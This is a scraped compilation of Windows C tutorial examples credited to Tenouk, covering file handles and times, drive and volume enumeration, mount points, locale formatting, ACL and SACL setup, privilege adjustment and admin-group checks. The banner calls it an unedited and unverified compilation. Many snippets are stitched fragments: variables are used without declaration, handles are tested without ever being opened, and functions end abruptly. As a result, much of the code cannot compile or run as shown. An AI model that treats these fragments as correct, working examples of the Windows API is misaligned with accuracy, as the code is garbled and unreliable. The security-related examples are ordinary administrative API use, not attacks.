CloseHandle(hFile); //close the file handle and the file itself
if(hFile1 == INVALID_HANDLE_VALUE)
{
printf("Could not open %s file, error %d\n", fname1, GetLastError());
return 1;
}
dwFileType = GetFileType(hFile1);
dwFileSize = GetFileSize(hFile1, NULL);
printf("%s size is %d bytes and file type is %d\n", fname1, dwFileSize, dwFileType);
//close the file's handle and itself
CloseHandle(hFile1);
return 0;
}
==============================ModuleE=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
int main()
{
//the files handle
HANDLE hFile1;
FILETIME ftCreate, ftAccess, ftWrite;
SYSTEMTIME stUTC, stLocal, stUTC1, stLocal1, stUTC2, stLocal2;
//filename
char fname1[] = "c:\\testfile.txt";
//temporary storage for file sizes
DWORD dwFileSize;
DWORD dwFileType;
if(hFile1 == INVALID_HANDLE_VALUE)
{
printf("Could not open %s file, error %d\n", fname1, GetLastError());
return 4;
}
dwFileType = GetFileType(hFile1);
dwFileSize = GetFileSize(hFile1, NULL);
printf("%s size is %d bytes and file type is %d\n", fname1, dwFileSize, dwFileType);
---------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
//the files handle
HANDLE hFile1;
//FILETIME is another name for struct _FILETIME structure (a typedef)
FILETIME ftCreate;
//SYSTEMTIME is another name for struct _SYSTEMTIME structure (a typedef)
SYSTEMTIME stUTC, stLocal;
//filename
char fname1[] = "c:\\testfile.txt";
if(hFile1 == INVALID_HANDLE_VALUE)
{
printf("\nReadable format...\n");
//Build a readable string showing the date and time.
//Accessing the SYSTEMTIME structure's member
printf("UTC System Time\n");
printf("Created on: %02d/%02d/%d %02d:%02d\n", stUTC.wDay, stUTC.wMonth,
stUTC.wYear, stUTC.wHour, stUTC.wMinute);
---------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
//handle for file
HANDLE hFile;
DWORD dwCurrentFilePosition;
if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s file, error %d\n", fname, GetLastError());
dwCurrentFilePosition = SetFilePointer(
hFile, //must have GENERIC_READ and/or GENERIC_WRITE
0, //do not move pointer
NULL, //hFile is not large enough to need this pointer
FILE_CURRENT); //provides offset from current position
---------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
HANDLE hFile;
HANDLE hAppend;
DWORD dwBytesRead, dwBytesWritten, dwPos;
char fname[30] = "c:\\testfile.txt";
char fname2[30] = "c:\\testfiletwo.txt";
char buff[4096];
if(hFile == INVALID_HANDLE_VALUE)
printf("Could not open %s lol!.\n", fname);
else
printf("%s opened successfully.\n", fname);
//Open the existing file, or if the file does not exist,
//create a new file.
hAppend = CreateFile(fname2, //open testfiletwo.txt
GENERIC_WRITE, //open for writing
0, //do not share
NULL, //default security
OPEN_ALWAYS, //open or create
FILE_ATTRIBUTE_NORMAL, //normal file
NULL); //no attribute template
if(hAppend == INVALID_HANDLE_VALUE)
printf("Could not open %s lol!.\n", fname2);
else
{
printf("%s opened/created successfully.\n", fname2);
printf("\nAppending %s\'s content to %s\'s content\n", fname, fname2);
printf("Check the %s content lol!\n\n", fname2);
}
---------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
char szDirPath[20] = "c:\\testdir";
HANDLE hFile;
char fname[50] = "c:\\testdir\\testfile.txt";
//Create a file
hFile = CreateFile(fname, //file to be opened
GENERIC_READ, //open for writing
FILE_SHARE_READ, //share for writing
NULL, //default security
CREATE_ALWAYS, //create new file only
FILE_ATTRIBUTE_ARCHIVE | SECURITY_IMPERSONATION,
//archive and impersonate client
NULL); //no attribute template
if(DeleteFile(fname) != 0)
printf("%s file successfully deleted!\n", fname);
return 0;
}
---------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#define BUFFER_SIZE 200
int main()
{
TCHAR infoBuf[BUFFER_SIZE];
TCHAR lpPathName[200] = "D:\\Program Files\\Microsoft sql server";
return 0;
}
==============================ModuleF=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
int main()
{
for(int i=0; i<12; i++)
{
UINT test = GetDriveType(drive2[i]);
switch(test)
{
case 0: printf("Drive %s is type %d - Cannot be determined.\n", &drive2[i], test);
break;
case 1: printf("Drive %s is type %d - Invalid root path/Not available.\n",
&drive2[i], test);
break;
case 2: printf("Drive %s is type %d - Removable.\n", &drive2[i], test);
break;
case 3: printf("Drive %s is type %d - Fixed.\n", &drive2[i], test);
break;
case 4: printf("Drive %s is type %d - Network.\n", &drive2[i], test);
break;
case 5: printf("Drive %s is type %d - CD-ROM.\n", &drive2[i], test);
break;
case 6: printf("Drive %s is type %d - RAMDISK.\n", &drive2[i], test);
break;
default : "Unknown value!\n";
}
}
return 0;
}
----------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <direct.h>
#include <stdio.h>
#include <tchar.h>
//initial value
TCHAR szDrive[] = _T(" A:");
int main()
{
DWORD uDriveMask = GetLogicalDrives();
if(uDriveMask == 0)
printf("GetLogicalDrives() failed with failure code: %d\n", GetLastError());
else
{
printf("This machine has the following logical drives:\n");
while(uDriveMask)
{//Use the bitwise AND, 1–available, 0-not available
if(uDriveMask & 1)
printf(szDrive);
//increment...
++szDrive[1];
//shift the bitmask binary right
uDriveMask >>= 1;
}
printf("\n ");
}
return 0;
}
----------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
//Buffer length
DWORD mydrives = 100;
//Buffer for drive string storage
char lpBuffer[100];
int main()
{
DWORD test = GetLogicalDriveStrings(
mydrives,
lpBuffer
);
printf("GetLogicalDriveStrings() return value: %d\nError: %d \n", test, GetLastError());
printf("The logical drives of this machine are:\n");
for(int i = 0; i<100; i++)
printf("%c", lpBuffer[i]);
printf("\n");
return 0;
}
----------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
for(int i=0; i<13; i++)
{
//Using NULL for the parameter 1 is not working lol...
DWORD test = QueryDosDevice(lpDeviceName[i], lpTargetPath, 1000);
//Test the return value and error if any
printf("\nQueryDosDevice() return value: %d, Error: %d\n", test,
GetLastError());
printf("The DOS device for %s is:\n", lpDeviceName[i]);
//Display the result
for(int i = 0; i<35; i++)
printf("%c", lpTargetPath[i]);
}
printf("\n");
return 0;
}
----------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
int main()
{
char pszDrive[10] = "C:\\";
//64 bits integer
__int64 lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes;
DWORD dwSectPerClust, dwBytesPerSect, dwFreeClusters, dwTotalClusters;
printf("\nUsing GetDiskFreeSpace()...\n");
printf("The return value: %d, error code: %d\n", fResult, GetLastError());
printf("Sector per cluster = %ul\n", dwSectPerClust);
printf("Bytes per sector = %ul\n", dwBytesPerSect);
printf("Free cluster = %ul\n", dwFreeClusters);
printf("Total cluster = %ul\n", dwTotalClusters);
//Using GetDiskFreeSpace() need some calculation for the
//free bytes on disk
printf("Total free bytes = %ul\n", (dwFreeClusters*dwSectPerClust*dwBytesPerSect));
return 0;
}
----------------------------------------------------------------------------------------------------------------------
//For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE MAX_PATH
#define FILESYSNAMEBUFSIZE MAX_PATH
int main()
{
char buf[BUFSIZE]; //buffer for unique volume identifiers
DWORD lpMaximumComponentLength;
DWORD dwSysFlags; //flags that describe the file system
char FileSysNameBuf[FILESYSNAMEBUFSIZE];
if(hVol == INVALID_HANDLE_VALUE)
{
printf ("No volumes found!\n");
return (-1);
}
----------------------------------------------------------------------------------------------------------------------
//For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE MAX_PATH
#define FILESYSNAMEBUFSIZE MAX_PATH
GetVolumeInformation(
Buf,
NULL,
BUFSIZE,
NULL,
&lpMaximumComponentLength,
&dwSysFlags,
FileSysNameBuf,
FILESYSNAMEBUFSIZE
);
////////----------caution--------------///////
//For file system, in order the removal drives such as floppy
//and CD-ROM to be recognized, you must insert the media...
printf("The volume found: %s\n", Buf);
printf("The buffer for volume name: %d\n", BUFSIZE);
printf("The max component length: %d\n", lpMaximumComponentLength);
printf("The file system flag: %d\n", dwSysFlags);
printf("The file system: %s\n", FileSysNameBuf);
printf("The buffer for file system name: %d\n\n", FILESYSNAMEBUFSIZE);
bFlag = FindNextVolume(
hVol, //handle to search being conducted
Buf, //pointer to output
iBufSize //size of output buffer
);
return (bFlag);
}
int main()
{
char buf[BUFSIZE]; //buffer for unique volume identifiers
HANDLE hVol; //handle for the volume scan
BOOL bFlag;
//Open a search for volumes.
hVol = FindFirstVolume(buf, BUFSIZE);
if(hVol == INVALID_HANDLE_VALUE)
{
printf("No volumes found!\n");
return (-1);
}
return 0;
----------------------------------------------------------------------------------------------------------------------
//For Win Xp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define Bufsize MAX_PATH
#define FILESYSNAMEBufsize MAX_PATH
bFlag = GetVolumeNameForVolumeMountPoint(
Path, //input volume mount point or directory
Target, //output volume name buffer
Bufsize //size of volume name buffer
);
if(!bFlag)
printf("Attempt to get volume name for %s failed.\n", Path);
else
printf("Target of the volume mount point is %s.\n\n", Target);
//Now, either get the next mount point and return it, or return a
//value indicating there are no more mount points.
bFlag = FindNextVolumeMountPoint(
hPt, //handle to scan
PtBuffer, //pointer to output string
dwPtBufsize //size of output buffer
);
return (bFlag);
}
////////----------caution--------------///////
//For file system, in order the removal drives such as floppy
//and CD-ROM to be recognized, you must insert the media...
printf("The file system is %s\n", FileSysNameBuffer);
if(hPt == INVALID_HANDLE_VALUE)
{printf("No volume mount points found!\n\n");}
else
{
//Process the volume mount point.
bFlag = ProcessVolumeMountPoint(hPt, PtBuffer, Bufsize, Buffer, Bufsize);
FindVolumeMountPointClose(hPt);
}
}
return (bFlag);
}
int main()
{
char Buffer[Bufsize]; //Buffer for unique volume identifiers
HANDLE hVol; //handle for the volume scan
BOOL bFlag; //generic results flag
if(hVol == INVALID_HANDLE_VALUE)
{
printf("No volumes found!\n");
return (-1);
}
bFlag = ProcessVolume(hVol, Buffer, Bufsize);
----------------------------------------------------------------------------------------------------------------------
//*********mymount.cpp************
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define BUFSIZE MAX_PATH
if(bFlag != TRUE)
{
printf("Retrieving volume name for %s failed.\n", argv[2]);
//Just exit
return (-2);
}
----------------------------------------------------------------------------------------------------------------------
//*******myunmount.cpp***********
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
return (-1);
}
if(!bFlag)
{
printf("Unmounting the volume at %s failed!\n", argv[1]);
exit(-1);
}
else
printf("Unmounting the volume at %s successfully done!\n", argv[1]);
return (bFlag);
}
==============================ModuleG=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
int main()
{
time_t ltime;
struct tm *testime;
unsigned char locstr[100];
printf("strftime failed!\n");
else
printf("In Italian locale, strftime returns \"%s\"\n", locstr);
printf("Back to default...\n");
if(!strftime((char *)locstr, 100, "%#x", (const struct tm *)testime))
printf("strftime failed!\n");
else
printf("In 'C' locale, strftime returns \"%s\"\n", locstr);
return 0;
}
==============================ModuleJ=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
// Prototype
BOOL CreateMyDACL(SECURITY_ATTRIBUTES *);
int main()
{
SECURITY_ATTRIBUTES sa;
// CreateMyDACL.
// Create a security descriptor that contains the DACL you want.
// This function uses SDDL to make Deny and Allow ACEs.
//
// Parameter:
// SECURITY_ATTRIBUTES * pSA
// Pointer to a SECURITY_ATTRIBUTES structure. It is the caller's
// responsibility to properly initialize the structure and to free
if(pSA == NULL)
return FALSE;
PULONG nSize = 0;
// Do some verification
printf("The ACE strings: %s \n", szSD);
printf("The converted string is at: %p \n", &(pSA->lpSecurityDescriptor));
--------------------------------------------------------------------------------------------------------
//Creating an ACL-DACL & SACL, need the required privilege for SACL
//The following #define must be the 1st statement
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <sddl.h>
#include <stdio.h>
TOKEN_PRIVILEGES tp;
LUID luid;
if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() error: %u\n", GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() is OK\n");
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
return TRUE;
}
//********************** Create the ACL *****************
// CreateMyACL() routine.
// The return value is FALSE if the address to the structure is NULL.
// Otherwise, this function returns the value from the
// ConvertStringSecurityDescriptorToSecurityDescriptor function.
BOOL CreateMyACL(SECURITY_ATTRIBUTES * pSA)
{
// Define the SDDL for the DACL & SACL.
return 0;
}
--------------------------------------------------------------------------------------------------------
#include <sddl.h>
#include <stdio.h>
// Prototype
BOOL CreateMyDACL(SECURITY_ATTRIBUTES *);
int main()
{
SECURITY_ATTRIBUTES sa;
{
TCHAR * szSD = TEXT("D:"); // An empty DACL
if(pSA == NULL)
return FALSE;
PULONG nSize = 0;
// Do some verification
printf("The ACE strings: %s \n", szSD);
printf("The converted string is at: %p \n", &(pSA->lpSecurityDescriptor));
--------------------------------------------------------------------------------------------------------
// Prototype
BOOL CreateMyDACL(SECURITY_ATTRIBUTES *);
int main()
{
SECURITY_ATTRIBUTES sa;
{
// Error encountered; generate message and exit.
printf("CreateDirectory() for %s failed lol!\n", DirName);
exit(1);
}
else
printf("CreateDirectory() for %s is OK.\n", DirName);
if(pSA == NULL)
return FALSE;
PULONG nSize = 0;
// Do some verification
printf("The ACE strings: %s \n", szSD);
printf("The converted string is at: %p \n", &(pSA->lpSecurityDescriptor));
--------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#include <stdio.h>
if(pNewDACL != NULL)
LocalFree((HLOCAL) pNewDACL);
else
printf("pNewDACL cleaning is OK\n");
}
int main()
{
// name of object, here we will add ACE for a directory
// the directory is already created...
LPTSTR pszObjName = "C:\\Testdir";
// type of object, file or directory. Here we test on directory
SE_OBJECT_TYPE ObjectType = SE_FILE_OBJECT;
// access mask for new ACE equal to 0x001F0000 flags (bit 0 till 15)
DWORD dwAccessRights = STANDARD_RIGHTS_ALL;
// type of ACE, Access denied ACE
ACCESS_MODE AccessMode = DENY_ACCESS;
// inheritance flags for new the ACE.
// The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE flags are
// not propagated to an inherited ACE.
DWORD dwInheritance = NO_PROPAGATE_INHERIT_ACE;
// format of trustee structure, the trustee is name
TRUSTEE_FORM TrusteeForm = TRUSTEE_IS_NAME;
// trustee for new ACE. This just for fun...When you run once, only one
// element will take effect. By changing the first array element we
// can change to other trustee and re run the program....
// Other than Mike, they are all well known trustees
char pszTrustee[4][15] = {"Administrators", "System", "Users", "Mike"};
// Result
DWORD dwRes = 0;
// Existing and new DACL pointers...
PACL pOldDACL = NULL, pNewDACL = NULL;
// Security descriptor
PSECURITY_DESCRIPTOR pSD = NULL;
// EXPLICIT_ACCESS structure. For more than one entries,
// declare an array of the EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea;
// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("GetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSD, pNewDACL);
}
else
printf("GetNamedSecurityInfo() is OK\n");
// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() Error %u\n", dwRes);
Cleanup(pSD, pNewDACL);
}
else
printf("SetEntriesInAcl() is OK\n");
if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo() Error %u\n", dwRes);
Cleanup(pSD, pNewDACL);
}
printf("SetNamedSecurityInfo() is OK\n");
return 0;
--------------------------------------------------------------------------------------------------------
#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#include <stdio.h>
// Clean up routine
void Cleanup(PSECURITY_DESCRIPTOR pSS, PACL pNewSACL)
{
if(pSS != NULL)
LocalFree((HLOCAL) pSS);
else
printf("pSS cleaning is OK\n");
if(pNewSACL != NULL)
LocalFree((HLOCAL) pNewSACL);
else
printf("pNewSACL cleaning is OK\n");
}
int main()
{
// name of object, here we will add an ACE for a directory
LPTSTR pszObjName = "C:\\Testdir2\\Testdir3";
// type of object, file or directory, a directory
SE_OBJECT_TYPE ObjectType = SE_FILE_OBJECT;
// access mask for new ACE equal to 0X11000000
// GENERIC_ALL and ACCESS_SYSTEM_SECURITY
DWORD dwAccessRights = 0X11000000;
// type of ACE, set audit for success
ACCESS_MODE AccessMode = SET_AUDIT_SUCCESS;
// inheritance flags for new ACE.
// The OBJECT_INHERIT_ACE and CONTAINER_INHERIT_ACE flags are
// not propagated to an inherited ACE.
DWORD dwInheritance = NO_PROPAGATE_INHERIT_ACE;
// format of trustee structure, the trustee is name
TRUSTEE_FORM TrusteeForm = TRUSTEE_IS_NAME;
// the new trustee for the ACE is set to testuser,
// a normal user
LPTSTR pszTrustee = "testuser";
// Result
DWORD dwRes = 0;
// Existing and new SACL pointers...
PACL pOldSACL = NULL, pNewSACL = NULL;
// Security descriptor
PSECURITY_DESCRIPTOR pSS = NULL;
// EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea;
//******************************************************
// Get the privilege first!!!
// Privilege routine here
//******************************************************
// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("GetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("GetNamedSecurityInfo() is OK\n");
if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetEntriesInAcl() is OK\n");
if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetNamedSecurityInfo() is OK\n");
return 0;
}
==============================ModuleK=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
#include <windows.h>
#include <stdio.h>
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable (or disable privilege)
)
{
// Token privilege structure
TOKEN_PRIVILEGES tp;
// Used by local system to identify the privilege
LUID luid;
if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() error: %u\n", GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() is OK\n");
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
int main()
{
LPCTSTR lpszPrivilege = "SeSecurityPrivilege";
// Change this BOOL value to set/unset the SE_PRIVILEGE_ENABLED attribute
BOOL bEnablePrivilege = TRUE;
HANDLE hToken;
//************************************************
// TODO: Complete your task here
//***********************************************
// After we have completed our task, don't forget to disable the privilege
bEnablePrivilege = FALSE;
BOOL test1 = SetPrivilege(hToken, lpszPrivilege, bEnablePrivilege);
printf("The SetPrivilage() return value: %d\n", test1);
return 0;
}
------------------------------------------------------------------------------------------------
#include <windows.h>
#include <accctrl.h>
#include <aclapi.h>
#include <stdio.h>
if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() error: %u\n", GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() is OK\n");
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if(pNewSACL != NULL)
LocalFree((HLOCAL) pNewSACL);
else
printf("pNewSACL cleaning is OK\n");
}
// Result
DWORD dwRes = 0;
// Existing and new SACL pointers...
PACL pOldSACL = NULL, pNewSACL = NULL;
// Security descriptor
PSECURITY_DESCRIPTOR pSS = NULL;
// EXPLICIT_ACCESS structure
EXPLICIT_ACCESS ea;
// Verify
if(dwRes != ERROR_SUCCESS)
{
printf("GetNamedSecurityInfo() Error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("GetNamedSecurityInfo() is OK\n");
if(dwRes != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetEntriesInAcl() is OK\n");
if(dwRes != ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo() error %u\n", dwRes);
Cleanup(pSS, pNewSACL);
}
else
printf("SetNamedSecurityInfo() is OK\n\n");
------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#define MAX_NAME 256
BOOL SearchTokenGroupsForSID(void)
{
DWORD i, dwSize = 0, dwResult = 0;
HANDLE hToken;
PTOKEN_GROUPS pGroupInfo;
SID_NAME_USE SidType;
char lpName[MAX_NAME];
char lpDomain[MAX_NAME];
BYTE sidBuffer[100];
PSID pSID = (PSID)&sidBuffer;
if(dwResult != ERROR_INSUFFICIENT_BUFFER)
{
printf("GetTokenInformation() error %u\n", dwResult);
return FALSE;
}
else
printf("GetTokenInformation() for the buffer size is OK\n");
}
else
printf("GetTokenInformation() for storage of the Token group is OK\n");
if(!AllocateAndInitializeSid(&SIDAuth, 2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&pSID))
{
printf("AllocateAndInitializeSid() error %u\n", GetLastError());
return FALSE;
}
else
printf("AllocateAndInitializeSid(), SID for BUILTIN\\Administrators group is\n successfully created\n");
// SECURITY_AUTHENTICATED_USER_RID,
// 0, 0, 0, 0, 0, 0, 0,
// &pSID))
// {
// printf("AllocateAndInitializeSid() error %u\n", GetLastError());
// return FALSE;
// }
// else
// printf("AllocateAndInitializeSid(), SID for Local group is\n successfully created\n");
//******************************************************************
// Loop through the group SIDs looking for the created group SID.
for(i=0; i<pGroupInfo->GroupCount; i++)
{
// Compare the created SID with the available group SIDs
if(EqualSid(pSID, pGroupInfo->Groups[i].Sid))
{
// Lookup the account name and print it.
dwSize = MAX_NAME;
if(!LookupAccountSid(NULL, pGroupInfo->Groups[i].Sid, lpName, &dwSize, lpDomain, &dwSize, &SidType))
{
// If not found or something wrong...
dwResult = GetLastError();
if(dwResult == ERROR_NONE_MAPPED)
strcpy(lpName, "NONE_MAPPED");
else
{
printf("LookupAccountSid() error %u\n", GetLastError());
return FALSE;
}
}
// If found...
else
{
//******************* Built-in\Administrators group *********************
printf("LookupAccountSid() for BUILTIN\\Administrators group is OK\n");
printf("Current user is a member of the %s\\%s group\n", lpDomain, lpName);
//******************* Local group ***************************************
// printf("LookupAccountSid() for Local group is OK\n");
// printf("Current user is a member of the %s group\n", lpName);
//******************** Authenticated users *******************************
// printf("LookupAccountSid() for Authenticated users is OK\n");
// printf("Current user is a member of the %s\\%s group\n", lpDomain, lpName);
}
//**************** End playing with SIDs *********************************
}
// Release resources back to system
if(pSID)
FreeSid(pSID);
if(pGroupInfo)
GlobalFree(pGroupInfo);
return TRUE;
}
------------------------------------------------------------------------------------------------
#include <windows.h>
#include <stdio.h>
BOOL IsUserAdminGrp(void)
/*
This routine returns TRUE if the caller's process
is a member of the Administrators local group. Caller is NOT expected
to be impersonating anyone and is expected to be able to open its own
process and process token.
Arguments: None.
Return Value:
TRUE - Caller has Administrators local group.
FALSE - Caller does not have Administrators local group.
*/
{
BOOL check;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
check = AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&AdministratorsGroup);
if(check)
{
printf("AllocateAndInitializeSid() is OK\n");
if(!CheckTokenMembership(
NULL, // uses the impersonation token of the calling thread.
// If the thread is not impersonating, the function duplicates
// the thread's primary token to create an impersonation token.
AdministratorsGroup, // Pointer to a SID structure
return(check);
}
int main()
{
BOOL test = IsUserAdminGrp();
printf("The return value of the IsUserAdminGrp(): %u, last error if any: %u\n", test, GetLastError());
return 0;
}
---------------------------------------------------------------------------------------------------------------
// Get the owner SID of the file. Try for other object such as
// SE_SERVICE, SE_PRINTER, SE_REGISTRY_KEY, SE_KERNEL_OBJECT, SE_WINDOW_OBJECT etc.
// for 2nd parameter and 3rd parameter such as DACL_SECURITY_INFORMATION,
// GROUP_SECURITY_INFORMATION and SACL_SECURITY_INFORMATION
dwRtnCode = GetSecurityInfo(
hFile, // Handle to the file
SE_FILE_OBJECT, // Directory or file
OWNER_SECURITY_INFORMATION, // Owner information of the (file) object
&pSidOwner, // Pointer to the owner of the (file) object
NULL,
NULL,
NULL,
&pSD); // Pointer to the security descriptor of the (file) object
if(AcctName == NULL)
{
printf("GlobalAlloc() error = %d\n", GetLastError());
return -1;
}
else
printf("Buffer allocation for AcctName is OK\n");
if(dwErrorCode == ERROR_NONE_MAPPED)
printf("Account owner not found for specified SID.\n");
else
{
printf("Error in LookupAccountSid().\n");
return -1;
}
} else if (bRtnBool == TRUE)
// Print the account name.
printf("Account owner = %s\n", AcctName);
CloseHandle(hFile);
return 0;
}
----------------------------------------------------------------------------------------------------------------
#include <accctrl.h>
#include <aclapi.h>
if(pSIDEveryone)
FreeSid(pSIDEveryone);
if(pACL)
LocalFree(pACL);
if(hToken)
CloseHandle(hToken);
}
if(!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue() of %s error: %u\n", lpszPrivilege, GetLastError());
return FALSE;
}
else
printf("LookupPrivilegeValue() of %s is OK\n", lpszPrivilege);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
// Specify the DACL to use. Allow write for Everyone and full
// control for Administrators group.
// Create a SID for the Everyone group.
if(!AllocateAndInitializeSid(&SIDAuthWorld, 1,
SECURITY_WORLD_RID,
0,
0, 0, 0, 0, 0, 0,
&pSIDEveryone))
{
printf("AllocateAndInitializeSid() for Everyone group error %u\n", GetLastError());
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("AllocateAndInitializeSid() for Everyone group is OK\n");
//**************************************************************
if(SetEntriesInAcl(NUM_ACCESS, ea, NULL, &pACL) != ERROR_SUCCESS)
{
printf("SetEntriesInAcl() for Everyone and Administrators group is NOT OK\n");
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else
printf("SetEntriesInAcl() Everyone and Administrators group is OK\n");
//***************************************************************
// Try to modify the object's DACL.
dwRes = SetNamedSecurityInfo(
lpszDir, // name of the object
SE_FILE_OBJECT, // type of object, directory
DACL_SECURITY_INFORMATION, // change only the object's DACL
NULL, NULL, // do not change owner or group
pACL, // DACL specified
NULL); // do not change SACL
if(dwRes == ERROR_SUCCESS)
{
printf("SetNamedSecurityInfo()-Modifying the DACL is OK, return value: %u\n\n", dwRes);
printf("Successfully changed DACL\n");
// No more processing needed.
// Just return/exit
bRetval = TRUE;
Cleanup(pSIDAdmin, pSIDEveryone, pACL, hToken);
}
else if (dwRes == ERROR_ACCESS_DENIED)
{
printf("SetNamedSecurityInfo()-Modifying the DACL is NOT OK\n");
printf("If return value is 5, it is \"Access is denied\" (ERROR_ACCESS_DENIED)\n");
printf("Please get a proper permission!\n\n");
//**********************************************************************
// Open a handle to the access token for the calling process
// that is the currently login access token
